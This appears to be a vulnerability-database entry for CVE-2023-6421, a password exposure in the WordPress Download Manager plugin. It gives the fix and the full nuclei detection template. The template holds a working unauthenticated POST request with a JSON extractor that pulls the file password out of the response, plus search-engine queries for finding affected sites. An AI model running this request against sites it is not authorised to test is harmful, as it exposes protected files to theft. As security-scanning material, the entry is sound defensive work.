CVE-2023-6421· CWE-200
WordPress Download Manager - File Password Exposure
mediumseverity
5.3CVSS score
2.4%likelihood of exploitation, next 30 days
85%of all CVEs are less likely
Readycheck to confirm it
The WordPress Download Manager plugin contains a vulnerability that allows attackers to obtain passwords for password-protected downloads by sending a specially crafted request to the validate-password API endpoint.
Impact
Unauthenticated attackers can obtain passwords for password-protected downloads by sending crafted requests to the validate-password API endpoint.
Fix
Update the WordPress Download Manager plugin to the latest version.
How to confirm it
Send: POST /index.php?rest_route=/wpdm/validate-password
Positive when: contains "\"success\"" and "op\":\"" and "Wrong Password" AND contains in header "application/json" AND status 200Run it with nuclei: nuclei -id CVE-2023-6421 -u <target>
The full check
id: CVE-2023-6421
info:
name: WordPress Download Manager - File Password Exposure
author: ritikchaddha
severity: medium
description: |
The WordPress Download Manager plugin contains a vulnerability that allows attackers to obtain passwords for password-protected downloads by sending a specially crafted request to the validate-password API endpoint.
impact: |
Unauthenticated attackers can obtain passwords for password-protected downloads by sending crafted requests to the validate-password API endpoint.
remediation: |
Update the WordPress Download Manager plugin to the latest version.
reference:
- https://wpscan.com/vulnerability/244c7c00-fc8d-4a73-bbe0-7865c621d410/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2023-6421
cwe-id: CWE-200
epss-score: 0.02437
epss-percentile: 0.84416
metadata:
verified: true
max-request: 1
fofa-query: body="wp-content/plugins/download-manager/"
google-query: inurl:"/wp-content/plugins/download-manager/"
shodan-query: html:"wp-content/plugins/download-manager/"
tags: cve,cve2023,wp,wordpress,wp-plugin,exposure,download-manager,vuln
http:
- raw:
- |
POST /index.php?rest_route=/wpdm/validate-password HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
__wpdm_ID={{id}}&dataType=json&execute=wpdm_getlink&action=wpdm_ajax_call&password=123322
# pass the password protected file id in the 'id' parameter `-V id=123`
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"success"'
- 'op":"'
- 'Wrong Password'
condition: and
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200
extractors:
- type: json
name: password
json:
- ".op"References
Use this check only on systems you are authorised to test. Where the data comes from